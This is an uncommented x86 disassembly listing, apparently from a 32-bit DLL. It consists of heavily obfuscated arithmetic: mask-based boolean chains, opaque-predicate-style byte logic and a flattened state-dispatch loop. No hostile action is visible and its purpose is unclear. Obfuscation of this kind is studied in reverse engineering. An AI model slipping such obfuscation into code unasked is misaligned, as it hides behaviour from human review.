mov eax, ecx
not eax
mov edi, eax
mov dword [ebp - 0x1c], eax
and edi, 0x1dc67188
mov esi, ecx
and ecx, 0xe2398e77
or ecx, edi
not edx
or edx, ebx
mov edi, edx
not edi
xor ecx, 0x1dc67188
or ecx, edx
mov eax, edx
and edx, 0xc2090c5
mov ebx, edi
and edi, 0xf3df6f3a
or edi, edx
xor edi, 0xc2090c5
mov edx, dword [ebp - 0x1c]
or edi, edx
and edx, 0x6f473d7e
and esi, 0x90b8c281
or esi, edx
and eax, 0x11b65fe1
and ebx, 0xee49a01e
or ebx, eax
xor esi, 0x90b8c281
xor ebx, 0xee49a01e
or ebx, esi
mov eax, edi
xor eax, ecx
or edi, ecx
not edi
or edi, eax
mov eax, edi
not eax
mov esi, eax
mov dword [ebp - 0x1c], eax
mov edx, edi
or edx, 0xc7e65154
mov ecx, edx
and ecx, 0xf4354962
and esi, 0x808a689
or esi, ecx
mov ecx, edi
xor ecx, 0x3819aeab
and ecx, edi
mov eax, ecx
not eax
or edx, eax
and eax, 0xf4354962
and ecx, 0xbcab69d
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov ecx, ebx
not ecx
xor edx, ebx
mov eax, ecx
and eax, 0x63328e2e
and ebx, 0x9ccd71d1
or ebx, eax
or ecx, edi
and edi, 0x63328e2e
mov eax, dword [ebp - 0x1c]
and eax, 0x9ccd71d1
or eax, edi
xor eax, ebx
xor edx, 0xc7e65154
not ecx
or ecx, eax
not ecx
or ecx, edx
mov edi, ecx
not edi
mov eax, ecx
or eax, 0xc0824700
and eax, 0xe0a247d0
mov edx, edi
and edx, 0x1a41a80f
or edx, eax
mov esi, edi
or esi, 0x202000d0
and esi, 0xe0a247d0
mov eax, ecx
and eax, 0x51c1020
or eax, esi
xor eax, edx
mov ebx, eax
xor ebx, 0x81020200
xor eax, 0x19
and eax, 0x40801139
and ebx, 0x9122a202
or ebx, eax
mov eax, edi
and eax, 0x697f23f3
and ecx, 0x9680dc0c
or ecx, eax
xor ecx, 0xb8dd90c8
xor edi, ecx
and edi, ecx
mov ecx, edi
mov eax, ebx
xor eax, 0x9122a202
or eax, 0x2e5d4cc4
mov edx, eax
not edx
and eax, 0x99626e42
xor ebx, 0x1029028
and ebx, edx
and edx, 0x40809139
or edx, eax
mov edi, edx
xor edi, 0x99626e42
mov dword [ebp - 0x1c], edi
or edi, 0x9264762e
mov dword [ebp - 0x20], edx
xor edx, 0x60898181
mov eax, edi
and eax, 0x9100741c
and edx, 0x608b89c1
or edx, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0x9d10741c
and ebx, 0x40a28323
or ebx, eax
xor ebx, edx
not edi
or edi, ebx
mov eax, ecx
mov dword [ebp - 0x24], ecx
mov edx, ecx
not edx
mov ebx, ecx
or ebx, 0x9264762e
mov esi, ebx
and esi, 0xbc3b1dc5
mov ecx, edx
and ecx, 0x41808010
or ecx, esi
mov esi, eax
xor esi, 0x6d9b89d1
and esi, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0xbc3b1dc5
and esi, 0x43c4e23a
or esi, eax
xor esi, ecx
not ebx
or ebx, esi
xor ebx, edi
mov esi, dword [ebp - 0x20]
xor esi, 0x40898000
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0x9100333b
and esi, 0x48ab8440
or esi, eax
mov eax, dword [ebp - 0x24]
or ecx, eax
and eax, 0xb7547bbf
and edx, 0x48ab8440
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x85a8b0bd
and ebx, 0x7a574f42
or ebx, eax
mov eax, edx
not eax
or ecx, edx
and edx, 0x85a8b0bd
and eax, 0x7a574f42
or eax, edx
xor eax, ebx
mov esi, ecx
not esi
or esi, eax
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x968c747f
and eax, esi
or esi, 0x69738b80
mov edx, esi
mov edi, esi
and edx, 0x9517b983
and ecx, 0x288447c
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x9517b983
and eax, 0x6ae8467c
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov esi, dword [ebp - 0x18]
mov eax, esi
and eax, 0x10024042
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
and ecx, 0xc0153125
or ecx, eax
mov eax, ecx
xor eax, 0x80000120
xor ecx, 0x36024c82
and ecx, 0x76177c87
and eax, 0x80000160
or eax, ecx
mov edx, esi
or edx, 0x50177007
and edx, 0x76177c87
mov ecx, ebx
and ecx, 0x9e88218
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0x20200e00
xor ecx, 0x40000006
and ecx, 0x48000006
and eax, 0x30201f01
or eax, ecx
xor eax, 0x30201f01
or eax, 0x87dfe0f8
mov ecx, eax
not ecx
mov edx, esi
and edx, 0x854ae0f8
mov esi, ebx
and esi, 0x2950000
or esi, edx
xor esi, 0x854ae0f8
and eax, ecx
or esi, ecx
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x197a4a7f
mov edx, esi
and edx, 0xe685b580
or edx, ecx
mov ecx, edx
xor ecx, 0x84852000
xor edx, 0x24030
or eax, 0x202c0b0
or edx, 0x68000d02
and edx, 0x6a02cdb2
and ecx, 0x85dd2048
or ecx, edx
and eax, 0x6a02cdb2
and esi, 0x10201205
or esi, eax
xor esi, ecx
mov edx, edi
mov ecx, edi
mov dword [ebp - 0x20], edi
not ecx
mov eax, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0x547dafd2
and edx, 0xab82502d
or edx, eax
mov eax, edx
xor eax, 0xcf8cc8f9
xor edx, 0xab82502d
and edx, eax
mov ebx, edx
mov eax, ecx
and eax, 0x9bf1672b
and edi, 0x640e98d4
or edi, eax
mov dword [ebp - 0x18], edi
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x8800229
and ecx, 0x18f0072b
mov edx, eax
and edx, 0x1014000
or edx, ecx
mov ecx, eax
or ecx, 0x10700502
and ecx, 0x18f0072b
mov edi, esi
and edi, 0x82002000
or edi, ecx
xor edi, edx
mov dword [ebp - 0x24], edi
and eax, 0xd3818c93
and esi, 0x2c7e736c
or esi, eax
mov ecx, esi
xor ecx, 0x2c7e736c
xor esi, 0x53008481
and esi, 0x534c848d
mov eax, ecx
and eax, 0xacb37b72
or eax, esi
xor eax, 0xc8bde3a6
and ecx, 0x9bf1672b
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
not ebx
mov ecx, ebx
and ecx, 0xe586b190
and eax, 0x1a794e6f
or eax, ecx
mov ecx, dword [ebp - 0x18]
not ecx
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov esi, ecx
not esi
and ecx, 0x818d2a36
mov edx, esi
and edx, 0x7e72d5c9
or edx, ecx
mov ecx, eax
xor ecx, 0x1a794e6f
mov dword [ebp - 0x28], ecx
xor eax, 0xa5eef635
and eax, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x2ee6b9d9
and eax, 0xd1194626
or eax, edi
or ebx, 0x406847a5
or ecx, ebx
and ebx, 0x2ee6b9d9
mov edi, dword [ebp - 0x2c]
and edi, 0x91110002
or edi, ebx
xor edi, eax
not ecx
or ecx, edi
mov eax, edx
xor eax, 0x220
or eax, 0xa4041000
mov edi, edx
xor edx, 0x40600000
and eax, 0xa40457a1
and edx, 0x40680004
or edx, eax
mov eax, dword [ebp - 0x18]
or eax, 0x47a1
and eax, 0xa40457a1
and esi, 0x1b93a85a
or esi, eax
xor esi, edx
xor esi, ecx
xor edi, 0x7e72d5c9
or edi, dword [ebp - 0x28]
not edi
or edi, esi
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0x24]
mov ebx, edi
xor ebx, 0x8a802229
mov eax, edi
xor eax, 0x207d4400
and eax, 0xa27d4429
xor edi, 0x2c02008
and edi, ebx
and ebx, 0x19802302
or ebx, eax
mov eax, ebx
xor eax, 0x5d82bbd6
mov dword [ebp - 0x24], eax
mov edx, ebx
xor edx, 0x2e334edc
and edx, eax
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xda8c1609
and edx, 0x217361e6
or edx, esi
mov eax, edi
mov esi, edi
not esi
or ecx, esi
and esi, 0xde8c1e19
and eax, 0x1716162
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edi, dword [ebp - 0x14]
mov esi, edi
not esi
mov edx, esi
or edx, 0x60101000
and edx, 0xe4561830
and edi, 0x80802c5
or edi, edx
mov eax, dword [ebp - 0x14]
or eax, 0x84460830
and eax, 0xe4561830
mov edx, esi
and edx, 0x13a1e50a
or edx, eax
xor edx, edi
xor edx, ecx
xor ebx, 0xa27d4429
mov eax, ebx
and eax, 0x88c8252a
mov ecx, dword [ebp - 0x24]
and ecx, 0x17334ad1
or ecx, eax
or ebx, esi
and esi, 0xe8ccb52e
mov eax, dword [ebp - 0x14]
and eax, 0x17334ad1
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
not ebx
or ebx, edx
mov eax, ebx
xor eax, 0x737482d6
and eax, ebx
mov edx, ebx
not ebx
or edx, 0x8c8b7d29
mov ecx, edx
and ecx, 0xe9a7c3dd
and ebx, 0x12500002
or ebx, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xe9a7c3dd
and eax, 0x16583c22
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, dword [ebp - 0x20]
mov esi, eax
xor esi, 0xf77be7aa
and esi, eax
xor edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
and ecx, 0x473f9ea3
and eax, 0xb8c0615c
or eax, ecx
mov edi, eax
xor edi, 0x90002100
xor eax, 0x473b86a2
mov ecx, eax
or ecx, 0x8800801
and ecx, 0x2cf24a29
and edi, 0xd309a582
or edi, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x2cf24a29
and esi, 0xd30db5d6
or esi, ecx
mov ecx, edx
xor ecx, 0x737482d6
xor esi, edi
not eax
or eax, esi
not esi
and esi, 0x8841855
and eax, 0xf77be7aa
or eax, esi
xor edx, 0x8c8b7d29
not eax
mov esi, edx
xor esi, eax
or eax, ecx
not eax
and esi, ecx
or esi, eax
mov eax, esi
not eax
mov edi, eax
and edi, 0xe1714fb5
and esi, 0x1e8eb04a
or esi, edi
and ecx, 0xe1714fb5
and edx, 0x1e8eb04a
or edx, ecx
xor edx, esi
not edx
or edx, eax
cmp edx, 0xffffffff
setne ah
cmp dword [0x10045904], 0xa
setl dl
setge ch
mov al, ch
mov cl, ah
inc cl
mov dh, cl
mov ebx, ecx
and bl, ah
xor bl, 1
or bl, ah
xor bl, 1
or bl, cl
mov bh, cl
or bh, ah
xor dh, bh
xor bh, 1
mov cl, ah
or cl, bh
xor cl, 1
or cl, dh
xor cl, 1
xor bl, bh
xor bl, cl
and cl, bl
xor cl, 1
mov dh, cl
xor dh, bl
or cl, bl
xor cl, 1
or cl, dh
xor cl, 1
mov dh, ch
or dh, cl
xor cl, ch
or ch, ah
mov bl, ch
xor bl, 1
xor al, ah
or bl, al
and al, ch
mov ah, al
xor ah, 1
xor al, ah
and al, bl
or bl, ah
xor bl, 1
xor al, ah
or al, bl
mov byte [ebp - 0x18], al
or cl, dl
mov dl, cl
xor dl, 1
and dl, dh
xor dh, 1
mov ah, dh
xor ah, cl
and ah, dh
and cl, dh
or cl, dl
mov dl, ah
xor dl, 1
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov dh, cl
xor dh, 1
mov ch, cl
and ch, dh
xor ch, 1
mov dl, ch
xor dl, cl
or ch, cl
xor ch, 1
or ch, dl
mov al, ch
xor al, 1
mov byte [ebp - 0x14], al
mov dl, al
and dl, ch
xor dl, 1
mov ebx, edx
or bl, ch
xor bl, 1
mov ah, al
or ah, bl
xor ah, 1
or ah, al
mov bh, dh
or bh, ah
xor ah, 1
or dh, ah
xor dh, 1
xor cl, ah
and cl, ah
or cl, dh
mov ah, cl
xor ah, bh
xor bh, 1
mov al, bh
xor al, cl
or bh, cl
mov cl, byte [ebp - 0x18]
mov dh, cl
xor dh, 1
xor ah, 1
xor bh, 1
or bh, ah
xor bh, 1
or bh, al
xor bh, 1
mov ah, cl
and cl, dh
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov al, cl
xor al, bh
or cl, bh
and cl, al
xor dl, ch
or dl, bl
mov ch, dl
xor ch, 1
mov ebx, edx
and bl, ch
xor bl, 1
or bl, ch
xor bl, 1
or bl, dl
or dl, dh
mov bh, byte [ebp - 0x14]
xor dh, bh
or bh, ah
and dh, ah
xor dh, 1
mov al, bh
xor al, dh
or dh, bh
xor dh, 1
or dh, al
xor bl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov ah, dh
xor ah, 1
mov ch, dl
mov al, ah
xor ah, dl
xor dl, 1
and ch, dh
and al, dl
or al, ch
or dl, dh
xor dl, 1
or dl, ah
xor al, 1
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ah, al
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov al, cl
xor al, 1
mov dh, al
and dh, cl
mov ch, al
xor ch, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, ch
or cl, ah
or al, dl
mov ebx, ecx
xor bl, al
or al, cl
mov ch, dh
xor ch, 1
xor al, 1
or al, bl
mov bl, ch
and bl, dh
xor bl, 1
or bl, dh
mov cl, dl
and cl, ah
xor cl, 1
or cl, ah
xor bl, 1
or bl, ch
xor cl, 1
or cl, dl
xor cl, bl
or ch, dl
xor cl, 1
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
mov ah, al
xor ah, 1
mov ch, cl
mov dl, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
or dl, ch
or cl, al
xor cl, 1
or cl, ah
mov ch, cl
xor ch, dl
test cl, 1
mov eax, 0xaab0d565
mov esi, 0x8d4e49b4
cmovne eax, esi
test dl, 1
cmove eax, esi
test ch, 1
mov ecx, 0xaab0d565
cmove eax, ecx
jmp 0x1000f9b0
cmp eax, 0xf299d80
je 0x1002532d
cmp eax, 0x19bde62a
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov dword [ebp - 0x18], edx
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0xeceb6639
mov ecx, edx
and ecx, 0x131499c6
or ecx, eax
mov eax, ecx
xor eax, 0x1108906
xor ecx, 0xccab6618
and eax, 0x21508927
and ecx, 0xdeaf76d8
or ecx, eax
mov edx, ecx
xor edx, 0xdeaf76d8
xor ecx, 0x21508927
mov esi, ecx
and esi, edx
mov eax, esi
not eax
mov edi, eax
and edi, 0x8342450
and esi, 0xf7cbdbaf
or esi, edi
or eax, ecx
and ecx, 0x8342450
and edx, 0xf7cbdbaf
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x50648c9f
xor eax, 0xc29d73e6
and eax, ecx
and ecx, 0xaf9b7360
or ecx, edx
mov edx, ecx
xor edx, 0x10608c19
or edx, 0xc29d73e6
mov esi, ecx
xor esi, 0x20020000
mov edi, edx
and edi, 0x4f30e08a
and esi, 0x30420c11
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x4f30e08a
and eax, 0xb0cf1f75
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0x3d628c18
xor edx, 0xc29d73e7
mov esi, edx
and esi, 0x1538e219
and eax, 0xeac71de6
or eax, esi
or ecx, 0xfffffffe
or edx, ecx
and ecx, 0x1538e219
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x9802e859
and ecx, 0x988aed5b
mov esi, eax
and eax, 0x21250080
or eax, ecx
or esi, 0x880502
and esi, 0x988aed5b
and edx, 0x46501224
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x10425a65
xor edx, 0x21ad0582
mov ecx, edx
and ecx, 0xee18a418
and eax, 0x11e75be7
or eax, ecx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, ebx
xor eax, 0xee18a418
xor edx, eax
and edx, eax
mov ebx, dword [ebp - 0x18]
mov eax, ebx
and eax, 0x2e8fe0ba
and ecx, 0xd1701f45
or ecx, eax
or ebx, 1
mov eax, ebx
and eax, 0x99b1ce56
and esi, 0x664e31a8
or esi, eax
mov eax, ecx
xor eax, 0x40401100
xor ecx, 0x2e8fe0bb
or ebx, ecx
and ecx, 0x99b1ce56
and eax, 0x664e31a9
or eax, ecx
xor eax, esi
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0xb143f302
and eax, 0x4ebc0cfd
or eax, ecx
xor eax, 0xb143f302
xor ebx, eax
and ebx, eax
mov esi, edx
not esi
mov dword [ebp - 0x20], esi
mov eax, edx
or eax, 0x1e81848
and eax, 0x1eb1cca
mov ecx, esi
and ecx, 0x4e142020
or ecx, eax
mov eax, esi
or eax, 0x30482
and eax, 0x1eb1cca
mov edi, edx
and edi, 0xb000c315
or edi, eax
xor edi, ecx
mov esi, ebx
not esi
mov dword [ebp - 0x28], esi
mov eax, ebx
mov dword [ebp - 0x30], ebx
or eax, 0x310238a0
and eax, 0x758ebce8
mov ecx, esi
and ecx, 0x8614217
or ecx, eax
mov eax, esi
or eax, 0x448c8448
and eax, 0x758ebce8
mov esi, ebx
and esi, 0x82100100
or esi, eax
xor esi, ecx
mov dword [ebp - 0x14], esi
mov ecx, edi
xor ecx, 0xb1e8db5d
mov eax, edi
mov esi, edi
xor eax, 0x4e1724a2
mov dword [ebp - 0x1c], eax
mov edi, eax
and edi, 0xe9dd9eb0
xor esi, 0xc9325937
and esi, ecx
mov dword [ebp - 0x2c], esi
mov eax, ecx
and eax, 0x1622614f
or eax, edi
and edx, 0x8e8071c2
mov edi, dword [ebp - 0x20]
mov ecx, edi
and ecx, 0x717f8e3d
or ecx, edx
xor ecx, 0x98a2108d
and edi, 0x1622614f
or edi, ecx
mov edx, edi
mov edi, dword [ebp - 0x14]
mov ecx, edi
xor ecx, 0xb31239a0
mov ebx, edi
xor ebx, 0x4cedc65f
mov dword [ebp - 0x20], ebx
and ebx, 0xf34bd171
xor edi, 0xcbc8bbca
and edi, ecx
mov dword [ebp - 0x14], edi
mov edi, ecx
and edi, 0xcb42e8e
or edi, ebx
mov ebx, dword [ebp - 0x30]
and ebx, 0x753a498d
mov ecx, dword [ebp - 0x28]
mov esi, ecx
and esi, 0x8ac5b672
or esi, ebx
xor esi, 0x631828c2
and ecx, 0x1622614f
or ecx, esi
not eax
or eax, dword [ebp - 0x1c]
mov esi, eax
not esi
mov ebx, esi
xor ebx, edx
and ebx, esi
and eax, 0x3507d85e
and esi, 0xcaf827a1
or esi, eax
mov eax, edx
not eax
and edx, 0x3507d85e
and eax, 0xcaf827a1
or eax, edx
xor eax, esi
mov esi, ebx
not esi
mov edx, esi
and edx, 0x3c7d2fe1
and ebx, 0xc382d01e
or ebx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x3c7d2fe1
and eax, 0xc382d01e
or eax, edx
xor eax, ebx
not esi
or esi, eax
xor edi, 0xe569b03e
or edi, dword [ebp - 0x20]
mov eax, edi
mov ebx, ecx
or eax, ecx
xor ebx, edi
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x6ac33577
and ebx, 0x953cca88
or ebx, ecx
xor ebx, eax
or edx, eax
xor ebx, 0x953cca88
not edx
or edx, ebx
xor esi, 0x5724e7a1
xor edx, 0x5724e7a1
mov ebx, edx
xor ebx, edx
not ebx
and ebx, esi
xor ebx, edx
mov edx, dword [ebp - 0x1c]
mov eax, edx
and eax, 0x78da826a
mov ecx, dword [ebp - 0x2c]
or ecx, eax
mov esi, dword [ebp - 0x20]
or edx, esi
and esi, 0x78da826a
mov eax, dword [ebp - 0x14]
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, 0x7aab0bd9
and eax, edx
not edx
and edx, 0x7aab0bd9
or edx, eax
not eax
and eax, 0x8554f426
and edx, 0x7aab0bd9
or edx, eax
mov edi, edx
not edi
and edx, 0x8558d173
and edi, 0x7aa72e8c
or edi, edx
mov edx, ebx
not edx
mov eax, edx
and eax, 0x7f9817b
mov ecx, ebx
and ecx, 0xf8067e84
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, edi
xor eax, 0x5109003
xor edi, 0x7aa72e8c
and eax, 0x3597b087
mov esi, edi
and esi, 0xca684f78
or esi, eax
mov ecx, esi
xor ecx, 0xca684f78
mov dword [ebp - 0x20], ecx
mov eax, esi
xor eax, 0x8dc52df6
and eax, ecx
and edi, 0x47ad628e
or edi, eax
mov ecx, dword [ebp - 0x14]
xor ecx, 0xf8067e84
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x14]
xor eax, 0xbfab1c0a
and eax, ecx
mov ecx, eax
not ecx
mov dword [ebp - 0x1c], ecx
and dword [ebp - 0x1c], 0x12e402e4
and eax, 0xed1bfd1b
add eax, dword [ebp - 0x1c]
or edx, 0xb8529d71
or ecx, edx
and edx, 0x12e402e4
and ebx, 0x4509600a
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
mov edx, dword [ebp - 0x14]
xor edx, 0x7f9817b
mov ecx, edx
and ecx, 0x63612fcc
mov edi, dword [ebp - 0x28]
and edi, 0x9c9ed033
or edi, ecx
xor esi, 0x3597b087
or edx, esi
and esi, 0x63612fcc
mov ecx, dword [ebp - 0x20]
and ecx, 0x9c9ed033
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov esi, edx
mov ecx, dword [ebp - 0x24]
mov edx, ecx
not esi
or esi, eax
mov dword [ebp - 0x14], esi
mov eax, ecx
mov esi, ecx
mov ecx, dword [ebp - 0x18]
and edx, ecx
and eax, 0x2f33851b
mov edi, ecx
and ecx, 0xd0cc7ae4
or ecx, eax
not ecx
mov eax, esi
or ecx, esi
and eax, 0xa6a60005
and edi, 0x5959fffa
or edi, eax
mov eax, edi
xor eax, 0x8010112
xor edi, 0xa6a60005
mov esi, edi
and esi, 0x7128408
and eax, 0x28210113
or eax, esi
mov esi, edx
not esi
or edi, esi
and esi, 0x7128408
and edx, 0x28210113
or edx, esi
xor edx, eax
not edi
or edi, edx
mov edx, ecx
not edx
and ecx, 0xe6fe2456
mov eax, edx
and eax, 0x1901dba9
or eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, eax
xor ecx, 0x1901dba9
mov dword [ebp - 0x18], ecx
xor eax, 0x3f152755
and eax, ecx
and edx, 0x2614fcfc
or edx, eax
mov dword [ebp - 0x24], edx
mov esi, edi
and esi, 0x2f33851b
mov ecx, esi
not ecx
mov dword [ebp - 0x20], ecx
mov edx, esi
xor edx, 0xd9eb0303
and edx, ecx
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x710785a
and edx, 0x28638501
or edx, ebx
or ecx, 0xd9eb0303
or eax, ecx
and ecx, 0xd7987a5a
mov ebx, edi
and ebx, 0x20008400
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, dword [ebp - 0x24]
mov edx, ecx
xor edx, ecx
not edx
and edx, eax
xor edx, ecx
and edi, 0x300013
mov eax, dword [ebp - 0x20]
and eax, 0x6f07cf08
or eax, edi
mov edi, eax
mov eax, dword [ebp - 0x1c]
xor eax, 0xe6fe2456
or esi, eax
and eax, 0x90f830f7
mov ecx, eax
mov eax, dword [ebp - 0x18]
and eax, 0x6f07cf08
or eax, ecx
xor eax, edi
not esi
or esi, eax
not esi
or esi, edx
mov eax, esi
not eax
mov ecx, eax
or ecx, 0xc08040e0
mov edx, esi
or edx, 0x25120009
and edx, 0xe59240e9
and eax, 0x104c3a04
or eax, edx
and ecx, 0xe59240e9
and esi, 0xa218512
or esi, ecx
xor esi, eax
mov edi, dword [ebp - 0x14]
mov eax, edi
not eax
mov dword [ebp - 0x18], eax
and eax, 0x6229191
mov edx, edi
and edx, 0x80004a0a
or edx, eax
xor edx, 0x80004a0a
mov ecx, edi
xor ecx, 0x8622db9b
and ecx, edi
mov ebx, edi
or ecx, edx
mov edi, ecx
xor edi, 0x79dd2464
xor ecx, 0x8622db9b
mov edx, esi
not edx
and ecx, edx
and edi, esi
or edi, ecx
mov eax, edi
xor eax, edx
and eax, edi
and esi, 0x70ebde84
and edx, 0x8f14217b
or edx, esi
mov edi, ebx
mov ecx, ebx
and ecx, 0x433daa1d
mov ebx, dword [ebp - 0x18]
and ebx, 0xbcc255e2
or ebx, ecx
mov ecx, edx
xor ecx, 0x8c000162
xor edx, 0x70ebde84
or edi, edx
and edx, 0x433daa1d
and ecx, 0xbcc255e2
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xd8c6a790
and edx, ecx
and eax, 0x2739586f
or eax, edx
or ecx, edi
xor edi, 0x2739586f
mov ebx, edi
xor ebx, edi
not ebx
and ebx, eax
xor ebx, edi
mov edx, ebx
not edx
mov eax, edx
and eax, 0x2a12be4a
and ebx, 0xd5ed41b5
or ebx, eax
mov esi, ecx
not esi
or edx, ecx
and ecx, 0x2a12be4a
and esi, 0xd5ed41b5
or esi, ecx
xor esi, ebx
not edx
or edx, esi
mov esi, edx
xor esi, 0x25dcad2
and esi, edx
mov ecx, edx
not ecx
and ecx, 0x25dcad2
or ecx, esi
not esi
and esi, 0xfda2352d
and ecx, 0x25dcad2
or ecx, esi
mov esi, dword [ebp - 0x14]
mov edx, esi
xor edx, 0x9fe51a2d
and edx, esi
mov eax, esi
or eax, 0x200a01c2
and eax, 0xa9cb01e7
mov edi, dword [ebp - 0x18]
and edi, 0x16241a08
or edi, eax
mov eax, edx
not eax
or esi, eax
and eax, 0xa9cb01e7
and edx, 0x5634fe18
or edx, eax
xor edx, edi
mov eax, esi
not eax
or eax, edx
not edx
and edx, 0x601ae5d2
and eax, 0x9fe51a2d
or eax, edx
mov edx, eax
mov edi, eax
mov dword [ebp - 0x14], eax
not edx
mov dword [ebp - 0x18], edx
mov eax, edx
and eax, 0x91a090a9
and edi, 0x6e5f6f56
or edi, eax
mov edx, ecx
xor edx, 0x88513576
and edx, ecx
mov eax, ecx
or ecx, 0x77aeca89
not eax
mov esi, ecx
and esi, 0xe139725c
mov ebx, eax
and ebx, 0x8400522
or ebx, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0xe139725c
and edx, 0x1ec68da3
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov edx, edi
xor edx, 0x6e5f6f56
xor edi, 0x19f1a5df
and edi, edx
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0x89a697a7
and edi, 0x76596858
or edi, esi
mov esi, dword [ebp - 0x18]
or esi, 0x88513576
or ebx, esi
and esi, 0x89a697a7
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x14]
and esi, 0x76084808
add esi, dword [ebp - 0x18]
xor esi, edi
not ebx
or ebx, esi
mov esi, ebx
xor esi, ebx
not esi
and esi, ecx
xor esi, ebx
or eax, edx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xf801e7d7
and eax, 0x7fe1828
or eax, ecx
xor eax, 0x7fe1828
setne dh
sete dl
cmp dword [0x10045904], 0xa
setge al
mov ecx, eax
inc cl
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov ch, ah
xor ch, 1
mov byte [ebp - 0x1c], ch
mov al, dl
xor al, dh
mov bh, dh
mov byte [ebp - 0x18], dh
mov bl, ah
and bl, ch
mov cl, ah
xor cl, bl
xor bl, 1
or bl, ch
xor bl, 1
or bl, cl
mov ch, bl
xor ch, 1
mov cl, bl
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, bl
mov dh, ch
and dh, cl
xor cl, 1
and bl, cl
or bl, dh
or cl, ch
xor bl, 1
mov ch, bl
xor ch, cl
or bl, cl
xor bl, 1
or bl, ch
mov dh, bl
xor dh, 1
mov byte [ebp - 0x14], dl
mov ecx, edx
inc cl
and cl, bh
or cl, dl
xor cl, 1
mov ch, cl
xor ch, al
or cl, al
xor cl, 1
or cl, ch
mov ch, bl
and ch, dh
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
or bl, dh
xor bl, 1
mov al, dh
xor al, bl
mov bh, al
and bh, bl
and al, dh
xor bh, 1
xor al, 1
mov dl, bh
xor dl, al
or al, bh
mov dh, cl
xor dh, 1
xor al, 1
or al, dl
xor bl, ch
and ch, bl
xor ch, 1
mov dl, ch
xor dl, bl
or ch, bl
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, ch
and ch, al
or ch, dl
xor ch, 1
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
mov al, cl
mov dl, byte [ebp - 0x18]
xor al, dl
mov bh, cl
or bh, dl
and bh, al
mov al, byte [ebp - 0x14]
xor bh, al
and bh, dl
and cl, dl
and dh, al
or dh, cl
mov cl, bh
xor cl, 1
mov al, cl
and al, bh
xor al, 1
mov dl, bh
xor dl, al
or al, bh
xor al, 1
or al, dl
mov bl, dh
xor bl, 1
mov dl, bl
or dl, bh
xor cl, bl
and cl, bh
xor cl, 1
mov bh, dl
xor bh, cl
or cl, dl
xor cl, 1
or cl, bh
mov dl, al
xor dl, 1
mov bh, dl
